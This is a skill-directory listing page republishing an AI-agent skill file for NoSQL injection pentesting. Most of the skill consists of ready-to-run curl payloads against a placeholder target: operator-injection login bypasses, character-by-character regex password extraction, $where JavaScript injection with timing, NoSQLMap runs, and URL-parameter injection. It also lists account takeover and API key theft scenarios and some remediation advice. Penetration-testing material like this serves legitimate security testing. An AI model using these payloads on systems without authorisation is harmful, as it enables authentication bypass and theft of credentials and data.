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Agent skill

Exploiting Nosql Injection Vulnerabilities

by mukul975 in mukul975/Anthropic-Cybersecurity-Skills

Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query…

Apache-2.0Auto-check passedDatabases

Install Exploiting Nosql Injection Vulnerabilities

skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilities -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills exploiting-nosql-injection-vulnerabilities --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/exploiting-nosql-injection-vulnerabilities .claude/skills/exploiting-nosql-injection-vulnerabilities && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
exploiting-nosql-injection-vulnerabilities
GitHub stars
34k
Token cost
~2.1k tokens
SKILL.md length
374 words
Files
8 (incl. scripts, references, assets)
Skills in repo
644
Repo updated
First seen
Licence
Apache-2.0

At a glance

Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query…

  • Works in 6 steps: Identify NoSQL Injection Points → Perform Authentication Bypass → Extract Data Using Boolean-Based Blind… → …
  • Pentesting APIs
  • SKILL.md covers When to Use, Prerequisites, Workflow and Key Concepts, plus 3 more sections
  • Runs Python scripts from its folder; calls curl, python and pip; reaches github.com

What it does

Exploiting Nosql Injection Vulnerabilities is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query operators. Use when pentesting APIs or web applications backed by NoSQL databases to test input validation and injection defenses.

Its SKILL.md is about 2.1k tokens, which your agent loads only when the skill is triggered. The skill folder holds 10 other files, including scripts, reference files and assets (for example `assets/template.md`, `references/api-reference.md` and `references/standards.md`).

It sits in Databases, covering NoSQL databases. It works with MongoDB and JavaScript. The repository describes itself as: 817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io…. The licence is Apache-2.0.

When your agent uses it

  • Pentesting APIs
  • Web applications backed by NoSQL databases to test input validation and injection defenses

Example prompts

  • “Use the exploiting-nosql-injection-vulnerabilities skill to detect and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar…”
  • “/exploiting-nosql-injection-vulnerabilities”

Requirements

  • Python 3

Workflow steps

6 steps, taken from the step headings in SKILL.md.

  1. Identify NoSQL Injection Points
  2. Perform Authentication Bypass
  3. Extract Data Using Boolean-Based Blind Injection
  4. Exploit JavaScript Injection via $where
  5. Use NoSQLMap for Automated Testing
  6. Test URL Parameter Injection

What it can do on your machine

Read from SKILL.md and the folder at commit 54a7988. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Ships 2 files in scripts/ (Python), which the agent can run.

    Shell commands in SKILL.md call:

    • curl
    • python
    • pip
    • git

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • github.com

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Exploiting Nosql Injection Vulnerabilities loads about 2.1k tokens when it runs, and up to ~3.2k if it reads all its reference files. Until then it costs about 92 tokens; SKILL.md has 374 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~92
When it runs · the whole SKILL.md, loaded when a task matches
~2.1k
With references · SKILL.md plus every file in references/, read only if the agent opens them
~3.2k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); the scripts in this folder are not scanned.

SKILL.md

The full file from mukul975/Anthropic-Cybersecurity-Skills at commit 54a7988, republished under its Apache-2.0 licence (© mukul975). 374 words, ~2,075 tokens.

Download SKILL.mdSave it as .claude/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md (or your agent's skills folder). This skill also uses 7 other files; get the full folder from GitHub.
name
exploiting-nosql-injection-vulnerabilities
description
Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query operators. Use when pentesting APIs or web applications backed by NoSQL databases to test input validation and injection defenses.
domain
cybersecurity
subdomain
web-application-security
tags
nosql-injection, mongodb, authentication-bypass, injection-attack, web-security, database-security, api-testing
version
1.0
author
mahipal
license
Apache-2.0
nist_csf
PR.PS-01, ID.RA-01, PR.DS-10, DE.CM-01
mitre_attack
T1190, T1059.007, T1505.003, T1083, T1055

Exploiting NoSQL Injection Vulnerabilities

When to Use

  • During web application penetration testing of applications using NoSQL databases
  • When testing authentication mechanisms backed by MongoDB or similar databases
  • When assessing APIs that accept JSON input for database queries
  • During bug bounty hunting on applications with NoSQL backends
  • When performing security code review of database query construction

Prerequisites

  • Burp Suite Professional or Community Edition with JSON support
  • NoSQLMap tool installed (pip install nosqlmap or from GitHub)
  • Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
  • Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
  • Proxy configured for HTTP traffic interception
  • Python 3.x for custom payload scripting

Workflow

Step 1 — Identify NoSQL Injection Points
bash
# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"

# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'
Step 2 — Perform Authentication Bypass
bash
# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Target specific user with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# Bypass using $exists operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'
Step 3 — Extract Data Using Boolean-Based Blind Injection
bash
# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'

# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^ab"}}'

# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
Step 4 — Exploit JavaScript Injection via $where
bash
# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.username == \"admin\""}'

# Time-based detection with sleep
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'

# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.password.match(/^a/) != null"}'
Step 5 — Use NoSQLMap for Automated Testing
bash
# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
  --method POST \
  --data '{"username":"test","password":"test"}'

# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
Step 6 — Test URL Parameter Injection
bash
# Parameter-based injection (GET requests)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"

# Array injection via URL parameters
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"

# Inject via HTTP headers if processed by backend
curl http://target.com/api/profile \
  -H "X-User-Id: {'\$ne': null}"

Key Concepts

ConceptDescription
Operator InjectionInjecting MongoDB operators ($ne, $gt, $regex) into query parameters
Authentication BypassUsing operators to match any document and bypass login checks
Blind ExtractionCharacter-by-character data extraction using $regex boolean responses
$where InjectionExecuting arbitrary JavaScript on the MongoDB server via $where operator
Type JugglingExploiting how NoSQL databases handle different input types (string vs object)
BSON InjectionManipulating Binary JSON serialization in MongoDB wire protocol
Server-Side JSJavaScript execution context available in MongoDB for query evaluation
Show full SKILL.md (147 more words)Show less

Tools & Systems

ToolPurpose
NoSQLMapAutomated NoSQL injection detection and exploitation framework
Burp SuiteHTTP proxy for intercepting and modifying JSON requests
MongoDB ShellDirect database interaction for testing query behavior
nosqliDedicated NoSQL injection scanner and exploitation tool
PayloadsAllTheThingsCurated NoSQL injection payload repository
NucleiTemplate-based scanner with NoSQL injection detection templates
PostmanAPI testing platform for crafting NoSQL injection requests

Common Scenarios

  1. Login Bypass — Bypass MongoDB-backed authentication using {"$ne": ""} operator injection in username and password fields
  2. Data Enumeration — Extract database contents character by character using $regex blind injection when no direct output is visible
  3. Privilege Escalation — Modify user role fields through NoSQL injection in profile update endpoints
  4. API Key Extraction — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques
  5. Account Takeover — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass

Output Format

## NoSQL Injection Assessment Report
- **Target**: http://target.com/api/login
- **Database**: MongoDB 6.0
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
- **Severity**: Critical (CVSS 9.8)

### Vulnerable Parameters
| Endpoint | Parameter | Injection Type | Impact |
|----------|-----------|---------------|--------|
| POST /api/login | username | Operator ($ne) | Auth Bypass |
| POST /api/login | password | Regex ($regex) | Data Extraction |
| GET /api/users | id | $where JS Injection | RCE Potential |

### Proof of Concept
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
- Extracted 3 admin passwords via blind regex injection
- JavaScript execution confirmed via $where operator

### Remediation
- Use parameterized queries with MongoDB driver sanitization
- Implement input type validation (reject objects where strings expected)
- Disable server-side JavaScript execution ($where) in MongoDB config
- Apply least-privilege database access controls

© mukul975, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 7 other files (scripts, references, assets) in skills/exploiting-nosql-injection-vulnerabilities of mukul975/Anthropic-Cybersecurity-Skills.

  • SKILL.md
  • LICENSE
  • assets/template.md
  • references/api-reference.md
  • references/standards.md
  • references/workflows.md
  • scripts/agent.py
  • scripts/process.py

Open the folder on GitHubat commit 54a7988

Compare with similar skills

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Works with

Categories

Questions about Exploiting Nosql Injection Vulnerabilities

What does Exploiting Nosql Injection Vulnerabilities do?

Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query…. Exploiting Nosql Injection Vulnerabilities is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query operators.

When should I use Exploiting Nosql Injection Vulnerabilities?

Exploiting Nosql Injection Vulnerabilities fits situations like: pentesting APIs; web applications backed by NoSQL databases to test input validation and injection defenses.

How do I install Exploiting Nosql Injection Vulnerabilities in Claude Code?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilities -a claude-code`. Or copy the skill folder (skills/exploiting-nosql-injection-vulnerabilities in mukul975/Anthropic-Cybersecurity-Skills) into .claude/skills/exploiting-nosql-injection-vulnerabilities in your project. Claude Code loads it when a task matches its description.

How do I install Exploiting Nosql Injection Vulnerabilities in Codex?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilities -a codex`. Or copy the skill folder (skills/exploiting-nosql-injection-vulnerabilities in mukul975/Anthropic-Cybersecurity-Skills) into .agents/skills/exploiting-nosql-injection-vulnerabilities in your project. Codex loads it when a task matches its description.

Can I use Exploiting Nosql Injection Vulnerabilities in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilities -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/exploiting-nosql-injection-vulnerabilities, .gemini/skills/exploiting-nosql-injection-vulnerabilities, .github/skills/exploiting-nosql-injection-vulnerabilities and .opencode/skills/exploiting-nosql-injection-vulnerabilities in your project.

What does Exploiting Nosql Injection Vulnerabilities need to run?

Going by SKILL.md and its folder, Exploiting Nosql Injection Vulnerabilities needs Python for the scripts in its folder and the command-line tools its instructions call (curl, python, pip and git). Our summary lists: Python 3.

Does Exploiting Nosql Injection Vulnerabilities access the network?

SKILL.md names 1 domain. In commands or code: github.com; the agent is likely to contact it when it follows the instructions. This is read from the text; nothing was executed.

Is Exploiting Nosql Injection Vulnerabilities safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. The check reads SKILL.md only: the scripts in the folder are not scanned, so read them before running anything.

What licence does Exploiting Nosql Injection Vulnerabilities use?

Exploiting Nosql Injection Vulnerabilities is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Exploiting Nosql Injection Vulnerabilities use?

About 2.1k tokens (SKILL.md is roughly 8.3k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full. Its references folder adds about 1.1k tokens, read only when the agent opens those files.

What are the alternatives to Exploiting Nosql Injection Vulnerabilities?

Skills that share tags, products or a category with Exploiting Nosql Injection Vulnerabilities: Mongodb Query Optimizer (mongodb/agent-skills, 189 stars), Prisma Database Setup (curvenote/curvenote, 170 stars), Create Auth Skill (deadlock-mod-manager/deadlock-mod-manager, 478 stars) and Actions And Pg Migration (zkldi/Tachi, 238 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Exploiting Nosql Injection Vulnerabilities?

mukul975 (a GitHub user) maintains it in mukul975/Anthropic-Cybersecurity-Skills, which has 34,116 GitHub stars. The repository holds 644 skills in this directory. The repository was last updated on August 31, 2026.

Source: mukul975/Anthropic-Cybersecurity-Skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.